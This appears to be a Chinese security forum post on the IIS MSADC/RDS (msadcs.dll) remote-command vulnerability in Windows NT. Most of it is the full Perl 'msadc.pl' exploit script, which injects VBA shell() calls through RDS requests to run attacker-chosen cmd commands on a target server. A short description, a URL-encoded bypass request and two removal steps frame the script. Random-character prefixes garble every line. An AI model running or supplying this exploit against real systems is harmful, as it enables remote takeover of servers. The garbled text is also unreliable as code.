IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
F^%\A A]8 Rbr:Q]zGN 涉及程序：
gi5X ,:[ Microsoft NT server
+F-Y^): ^-mW k?> 描述：
n+Conp/ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
9 m v0} I x5pu+-h 详细：
F$1{w"& 如果你没有时间读详细内容的话，就删除:
c(FGW7L< c:\Program Files\Common Files\System\Msadc\msadcs.dll
-r_\=<( 有关的安全问题就没有了。
:"Tkl$@, 1=sL[I 7< 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
@|">j#0 KSEKoHJo 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
)D'# >!Y 关于利用ODBC远程漏洞的描述，请参看:
be]/ ROP>H 3&{6+ A http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm sKR%YK
"A F s=x+8'M 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
vkR ~nIp http://www.microsoft.com/security/bulletins/MS99-025faq.asp !Y7$cU &
y!R9)=/M 这里不再论述。
qxHn+ O!h fl9VokAT 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
_?'W 30Dg )^4Ljb1 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
v3t<rv 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
, D(Bg9C q(hBqU W 9kqR-T|Q #将下面这段保存为txt文件，然后: "perl -x 文件名"
\dE{[^.5 OK`^DIr5l #!perl
#r?[@aJ #
P ec Zuv # MSADC/RDS 'usage' (aka exploit) script
PU1YR;[Fe #
F6Q%<p a # by rain.forest.puppy
8'TIDu #
8f)pf$v` # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
fi ~@J` # beta test and find errors!
dV'^K%# eX}aa 0 use Socket; use Getopt::Std;
'/0e!x/8 getopts("e:vd:h:XR", \%args);
\Zx&J.D L 2}<2 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
7 H:y=?X6 f2SJ4"X if (!defined $args{h} && !defined $args{R}) {
4 @ <wN \' print qq~
x E!0p EHd Usage: msadc.pl -h <host> { -d <delay> -X -v }
+\&6Zbn -h <host> = host you want to scan (ip or domain)
~=[5X,Ta -d <seconds> = delay between calls, default 1 second
O<,\ tZ'N -X = dump Index Server path table, if available
8Exky^OT| -v = verbose
Ik5V? -e = external dictionary file for step 5
ohJDu{V c{?SFwgd Or a -R will resume a command session
,C 0y3pL es%py~m) ~; exit;}
S<'_{u z Q2woCx B $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Lpkx$QZ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
#;@I. if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
a$^)~2U{ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Pw7uxN` $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
P,WQN[(+ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
}opMf6`w 1|H4]!7kE if (!defined $args{R}){ $ret = &has_msadc;
>py[g0J die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
d^!3&y& 5_L,7\5# print "Please type the NT commandline you want to run (cmd /c assumed):\n"
vZ$E
[EG} . "cmd /c ";
FyPG5 - $in=<STDIN>; chomp $in;
qIQ
61>< $command="cmd /c " . $in ;
VQG$$McJ VSV]6$~H if (defined $args{R}) {&load; exit;}
YPY,g R ]$^HGmP print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
ME]89 T & &try_btcustmr;
mQ`2c:Rn&7 -J#RGB{7 print "\nStep 2: Trying to make our own DSN...";
-m>3@"q &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
=Bm|9A1 \ )> #`X print "\nStep 3: Trying known DSNs...";
IqsUtWSp &known_dsn;
'!?t+L%gO 59W~b WHCP print "\nStep 4: Trying known .mdbs...";
t# y, 9>6 &known_mdb;
HyKA+ 7} 1n7'\ esC* if (defined $args{e}){
$G }9iV7 print "\nStep 5: Trying dictionary of DSN names...";
{.KD#W
$5 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
P2C>IS a;-%C{S9r print "Sorry Charley...maybe next time?\n";
I\c7V~^hnG exit;
QUvSeNSp %N(>B_t\ ##############################################################################
#9.%>1{6Y HJym|G>%? sub sendraw { # ripped and modded from whisker
BtKor6ba sleep($delay); # it's a DoS on the server! At least on mine...
XD0a :T) my ($pstr)=@_;
6Uq ;]@k% socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
LayK&RwL die("Socket problems\n");
4(oU88 z if(connect(S,pack "SnA4x8",2,80,$target)){
;~d$O M select(S); $|=1;
:& :P4Y1
E print $pstr; my @in=<S>;
-%% Xx5D select(STDOUT); close(S);
Sj|tR[SAoD return @in;
*!*%~h8V } else { die("Can't connect...\n"); }}
XE2rx2k G{>P YLxOb ##############################################################################
e"bzZ!c&~V 7gB?rJHV, sub make_header { # make the HTTP request
^ACrWk~UY my $msadc=<<EOT
J-uQF| POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
:g|NE\z`)/ User-Agent: ACTIVEDATA
2]5Li/ Host: $ip
9rT^rTV Content-Length: $clen
-{9mctt/gE Connection: Keep-Alive
`^'fS@VA KfZb=v;-l ADCClientVersion:01.06
r@v t.t0# Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
X OI"BLd )rAJ>; --!ADM!ROX!YOUR!WORLD!
.j^BW r Content-Type: application/x-varg
T{m) = (q Content-Length: $reqlen
$0un`&W nT wJR EOT
8Lx1XbwK ; $msadc=~s/\n/\r\n/g;
"$o>_+U
return $msadc;}
qnWM %k -OU{99$aS ##############################################################################
(y&sUc9 B9$f y).Gp sub make_req { # make the RDS request
'kY/=*=Q my ($switch, $p1, $p2)=@_;
|>'N^ my $req=""; my $t1, $t2, $query, $dsn;
M e ep |K{ d5\_ if ($switch==1){ # this is the btcustmr.mdb query
c?. i;4yh $query="Select * from Customers where City=" . make_shell();
w%X@os}E $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
U] GD6q $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
4pQf*l8e n=F
r v*"Z elsif ($switch==2){ # this is general make table query
Mlo,F1'?> $query="create table AZZ (B int, C varchar(10))";
5G(dvM-n $dsn="$p1";}
Yo' Y-h# |mHf 7gCX elsif ($switch==3){ # this is general exploit table query
oD\t4]?E $query="select * from AZZ where C=" . make_shell();
;fW~Gb?" $dsn="$p1";}
yTK3eK G}+@C] elsif ($switch==4){ # attempt to hork file info from index server
{I $i D $query="select path from scope()";
hwL`9.w $dsn="Provider=MSIDXS;";}
|o9`h 9i u7RlxA: elsif ($switch==5){ # bad query
w%iw xo $query="select";
`sso Wn4 $dsn="$p1";}
G/(,,T}eG %D:VcY9OC $t1= make_unicode($query);
S$$S Ly:P $t2= make_unicode($dsn);
Cojs;`3iF: $req = "\x02\x00\x03\x00";
t^zE^:06 $req.= "\x08\x00" . pack ("S1", length($t1));
:3
Hz!iZM $req.= "\x00\x00" . $t1 ;
tvFe_*Ck $req.= "\x08\x00" . pack ("S1", length($t2));
d4^x,hzV $req.= "\x00\x00" . $t2 ;
=7H\llL4BC $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
ITqAy1m@C return $req;}
6_u!{ Y*\h?p[, ##############################################################################
8IxIW0 & /T} sub make_shell { # this makes the shell() statement
m;>G]Sbe return "'|shell(\"$command\")|'";}
"!AtS =SeQ- H# ##############################################################################
qGMU>J.;c Xa#.GrH6 sub make_unicode { # quick little function to convert to unicode
^-- R#$X my ($in)=@_; my $out;
cb0rkmO for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Y%0rji return $out;}
")vtS}Ekt Kb {&a ##############################################################################
U5~aG!E 0#8, (6 sub rdo_success { # checks for RDO return success (this is kludge)
;]m;p,$ my (@in) = @_; my $base=content_start(@in);
32SkxcfrCK if($in[$base]=~/multipart\/mixed/){
=p=/@ FN return 1 if( $in[$base+10]=~/^\x09\x00/ );}
:A @f[Y'9 return 0;}
z \ONw M l |nnFjGC`~ ##############################################################################
S (xs;tZ 'Rsr*gX# sub make_dsn { # this makes a DSN for us
_D?/$D7u#% my @drives=("c","d","e","f");
X`WS&!C< print "\nMaking DSN: ";
Jj=N+,km foreach $drive (@drives) {
U/s
Z1u - print "$drive: ";
j$/#2%OVN my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
$t}W,? "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
(}>)X] . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
<8kCmuGlk $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
LA lX |b return 0 if $2 eq "404"; # not found/doesn't exist
>Ovz; if($2 eq "200") {
26k~Z} foreach $line (@results) {
\$DBtq5= return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
CdmpKkq# } return 0;}
WoGnJ0N q 71P. 9Iz ##############################################################################
![r)KE=v8I 8,[ *BgeX sub verify_exists {
.JB1#&B + my ($page)=@_;
F*Hov xez my @results=sendraw("GET $page HTTP/1.0\n\n");
<X4f2z{T{@ return $results[0];}
H!X*29nX XXA'B{@Y) ##############################################################################
aZ\Z7( ^ w``(-[* sub try_btcustmr {
Vq`/]& my @drives=("c","d","e","f");
p=> +3 my @dirs=("winnt","winnt35","winnt351","win","windows");
cQ Thpgh a ~uZ9%UB_m foreach $dir (@dirs) {
G;u~H< print "$dir -> "; # fun status so you can see progress
MmvOyK NZF foreach $drive (@drives) {
O AW_c.)5D print "$drive: "; # ditto
B]<N7NYn1 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
=FIZh}JD $reqlenlen=length( "$reqlen" );
rKslgZhQ $clen= 206 + $reqlenlen + $reqlen;
@jMo/kO/A -X7 x~x- my @results=sendraw(make_header() . make_req(1,$drive,$dir));
!A%
vR\ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
`fX\pOk~e else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
8,RqhT)2# .-&
=\}^2l ##############################################################################
-UzWLVB^ NopfL sub odbc_error {
{c LWum[SY my (@in)=@_; my $base;
nFG X2|d my $base = content_start(@in);
2~g-k 3 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
*dBmb $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
w%)RX<h dI $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
PyHL`PZZ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
V/"RCqY4 return $in[$base+4].$in[$base+5].$in[$base+6];}
;Wk3>\nT- print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
+,ar`:x &a print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
H\<0{#F $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
C\BKdx5; A=|a!N/ ##############################################################################
P(8
u L|^ |P| 2E~[r sub verbose {
&F uk+Cu{ my ($in)=@_;
[qkW/qS return if !$verbose;
5MCgmF*Y2 print STDOUT "\n$in\n";}
dJ])`S i(.PkYkaq ##############################################################################
9 4lt?|3= (y d(ZY sub save {
@zi0:3`#0\ my ($p1, $p2, $p3, $p4)=@_;
%_p]6 doF
open(OUT, ">rds.save") || print "Problem saving parameters...\n";
h]z 8.k2n print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
4[; }/- close OUT;}
b 1Wz P~:^bU^F7 ##############################################################################
T8&sPt,f 7^! zT sub load {
X g_l4!T_l my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
s/11 TgJ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
w ?nSQBz$ @p=<IN>; close(IN);
w;AbJCv2 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
u 6l)s0Q $target= inet_aton($ip) || die("inet_aton problems");
Bt$,=k print "Resuming to $ip ...";
7iM@ BeIf $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
>>C
S8 if($p[1]==1) {
b|kL*{; $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
`uusUw-Gf $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
z +wegF my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
c>/7E-T if (rdo_success(@results)){print "Success!\n";}
lAC "7 Z?F else { print "failed\n"; verbose(odbc_error(@results));}}
j^U"GprA elsif ($p[1]==3){
t Iod=a) if(run_query("$p[3]")){
Zj ^e8u=T print "Success!\n";} else { print "failed\n"; }}
\j wxW6> elsif ($p[1]==4){
p*Y V*Arv if(run_query($drvst . "$p[3]")){
DyZ 6&* s$ print "Success!\n"; } else { print "failed\n"; }}
0
.T5%
_ / exit;}
9X33{ MuzQ z.C ##############################################################################
7AGUi+!ICl wEI?
9 sub create_table {
bv hV my ($in)=@_;
!e
| Bi{ $reqlen=length( make_req(2,$in,"") ) - 28;
|<o qT+?i $reqlenlen=length( "$reqlen" );
x.|sCqx $clen= 206 + $reqlenlen + $reqlen;
c0&! S-4M my @results=sendraw(make_header() . make_req(2,$in,""));
d >zC[]1 return 1 if rdo_success(@results);
""N~##)8 my $temp= odbc_error(@results); verbose($temp);
0/7.RpX,. return 1 if $temp=~/Table 'AZZ' already exists/;
u` (yT<>H return 0;}
$*_79F2zN j!k$SDA- ##############################################################################
Nqd9)WQ $1zWQJd[- sub known_dsn {
KE5>O 1 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
x=x%F; my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
+s`cXTlFrk "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
T4ugG?B* "banner", "banners", "ads", "ADCDemo", "ADCTest");
ta x:9j|~ Lrr(7cH, foreach $dSn (@dsns) {
^vxNS[C`; print ".";
oGg<s3;UND next if (!is_access("DSN=$dSn"));
<KCyXU* if(create_table("DSN=$dSn")){
ubVZEsoW? print "$dSn successful\n";
M5_ t#[ [ if(run_query("DSN=$dSn")){
i 2uSPV!Tf print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
P;'ZdZ(SLu print "Something's borked. Use verbose next time\n";}}} print "\n";}
w&VDe( :~ ^x^(Rk}| ##############################################################################
)g3c-W= {36N=A sub is_access {
N0\<B-8+,> my ($in)=@_;
b^}U^2S% $reqlen=length( make_req(5,$in,"") ) - 28;
6^BT32,' $reqlenlen=length( "$reqlen" );
Q:y'G9b $clen= 206 + $reqlenlen + $reqlen;
=9p3^: S my @results=sendraw(make_header() . make_req(5,$in,""));
o^owv( my $temp= odbc_error(@results);
m&(qr5>b verbose($temp); return 1 if ($temp=~/Microsoft Access/);
v|]"uPxH? return 0;}
jt* B0'Sa q3K}2g ##############################################################################
mC(YO y Up_"qD6 sub run_query {
T;PLUjp} my ($in)=@_;
-'*<;]P+. $reqlen=length( make_req(3,$in,"") ) - 28;
01RW|rN $reqlenlen=length( "$reqlen" );
Y!Io @{f $clen= 206 + $reqlenlen + $reqlen;
m$pRA0s2` my @results=sendraw(make_header() . make_req(3,$in,""));
[!uVo>Q4 return 1 if rdo_success(@results);
^1 _[UG my $temp= odbc_error(@results); verbose($temp);
@*=5a (# return 0;}
d(b~s2\i {L.uLr_?e ##############################################################################
_nX8f
& -m
;n}ECg sub known_mdb {
4)'U!jSb my @drives=("c","d","e","f","g");
itc\w n my @dirs=("winnt","winnt35","winnt351","win","windows");
%S$$*|_G my $dir, $drive, $mdb;
pNmWBp|ER my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Xi\c>eALO M&Ln'BC # this is sparse, because I don't know of many
n:1Ijh
1 my @sysmdbs=( "\\catroot\\icatalog.mdb",
H ="I=} "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
in K;n "\\system32\\certmdb.mdb",
tAY{+N]f "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
WlGT&m&2 d 79 2#Dc my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
O;}K7rSc "\\cfusion\\cfapps\\forums\\forums_.mdb",
[U"/A1p "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
JB. U& "\\cfusion\\cfapps\\security\\realm_.mdb",
j PZpJ: "\\cfusion\\cfapps\\security\\data\\realm.mdb",
b8vZ^8tBV "\\cfusion\\database\\cfexamples.mdb",
t B(~:"|8 "\\cfusion\\database\\cfsnippets.mdb",
puMb B9) "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
iY&I?o!Ch "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
KU]o=\ak% "\\cfusion\\brighttiger\\database\\cleam.mdb",
P46Q3 EE
"\\cfusion\\database\\smpolicy.mdb",
K" X" 2c1o "\\cfusion\\database\cypress.mdb",
A%^7D.j "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Z`ww[Tbv~ "\\website\\cgi-win\\dbsample.mdb",
MQ0r ln? "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
b&LAk -}[ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
O(D2F$VlL ); #these are just
BIe:7cR% foreach $drive (@drives) {
39F
e#u foreach $dir (@dirs){
=1,1}OucP foreach $mdb (@sysmdbs) {
]bpgsW:Xu print ".";
yq^Ma if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
n%4/@M print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
_z 5W*..
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
+PKsiUJ| print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Y}<%~z#.4 } else { print "Something's borked. Use verbose next time\n"; }}}}}
YV@efPy}n B##X94aTT foreach $drive (@drives) {
Z;RUxe|<k foreach $mdb (@mdbs) {
FC+h
\ print ".";
#reW)P> if(create_table($drv . $drive . $dir . $mdb)){
%NC/zqPH~ print "\n" . $drive . $dir . $mdb . " successful\n";
e6jA4 X+a if(run_query($drv . $drive . $dir . $mdb)){
|(PS
bu print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
,_,*I/o>B } else { print "Something's borked. Use verbose next time\n"; }}}}
(hQi { }
Z|ZB6gP>h1 1)z Xv ##############################################################################
Q {BA`Q@V ;/JXn sub hork_idx {
MOnTp8 print "\nAttempting to dump Index Server tables...\n";
mo(>SnS< print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
K'
<[kh:cl $reqlen=length( make_req(4,"","") ) - 28;
_5x]BH 6f $reqlenlen=length( "$reqlen" );
Ud e ?[6 $clen= 206 + $reqlenlen + $reqlen;
p?4[nS-, my @results=sendraw2(make_header() . make_req(4,"",""));
tAI
v+L if (rdo_success(@results)){
M'|p<SO] my $max=@results; my $c; my %d;
4 i^WE;|s for($c=19; $c<$max; $c++){
K{"hf:k $results[$c]=~s/\x00//g;
W-/V5 =?
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
{>~9?Xwh $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
)58 ~2vR $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
CA5`uh $d{"$1$2"}="";}
`+>K)5hrR foreach $c (keys %d){ print "$c\n"; }
2+~gZxHq } else {print "Index server doesn't seem to be installed.\n"; }}
:Q@/ F;Z? :XG~AR / ##############################################################################
%2g<zdab 1<_/Qu>V sub dsn_dict {
AYN dV ( open(IN, "<$args{e}") || die("Can't open external dictionary\n");
|5X[/Q*K`W while(<IN>){
H6|eUU[& $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
=adHP|S next if (!is_access("DSN=$dSn"));
IAq
o(Qm if(create_table("DSN=$dSn")){
Y#~A":A print "$dSn successful\n";
a'dlA da if(run_query("DSN=$dSn")){
a_?b < print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
R*6B@<p,i print "Something's borked. Use verbose next time\n";}}}
/wt7KL- I print "\n"; close(IN);}
\x]\W#C P Je_qP ##############################################################################
L
G5_ \sY! Vp|?R65S* sub sendraw2 { # ripped and modded from whisker
x SSEDf q sleep($delay); # it's a DoS on the server! At least on mine...
tpO '< b my ($pstr)=@_;
,-8 -Y>[ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Q9xb7)G die("Socket problems\n");
HTGLFY(& if(connect(S,pack "SnA4x8",2,80,$target)){
!U 1
vW}H print "Connected. Getting data";
5r~jo7 open(OUT,">raw.out"); my @in;
`8RKpZv& select(S); $|=1; print $pstr;
P*~
vWYH9 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
AovBKB
$ close(OUT); select(STDOUT); close(S); return @in;
/sT?p=[. } else { die("Can't connect...\n"); }}
ctLNzJes% f% )9!qeW ##############################################################################
BK6
X)1R 5\#I4\ sub content_start { # this will take in the server headers
>0<n%V#s:r my (@in)=@_; my $c;
ci$J?a for ($c=1;$c<500;$c++) {
c1jR j=\ if($in[$c] =~/^\x0d\x0a/){
IM/xBP if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
J@6j^U else { return $c+1; }}}
t H.L_< N return -1;} # it should never get here actually
QeuM',6R =|ODa/2 p ##############################################################################
[3nWxFz$R {B4qeG5 sub funky {
g3>>gu#0DC my (@in)=@_; my $error=odbc_error(@in);
hd~#I<8;2 if($error=~/ADO could not find the specified provider/){
vO~ Tx print "\nServer returned an ADO miscofiguration message\nAborting.\n";
CE c(2q+%i exit;}
]77f`<q<}! if($error=~/A Handler is required/){
[W G\w j. print "\nServer has custom handler filters (they most likely are patched)\n";
*q k7e[IP exit;}
liH#=C8l*% if($error=~/specified Handler has denied Access/){
S)j( %g print "\nServer has custom handler filters (they most likely are patched)\n";
:-JryiI exit;}}
/ W BmR R QDJ
"X ##############################################################################
QSY>8P h@G~' \8 t sub has_msadc {
LSJ.pBl\X my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
tO:JB&vO2 my $base=content_start(@results);
vszm9Qf return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
HdB>CVuh return 0;}
W.jXO"pN }YFM4 0H ########################
QRf>lZP >$L7J=Em igk<]AwxS 解决方案：
P E4
L7 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
M>p<1`t-& 2、移除web 目录: /msadc
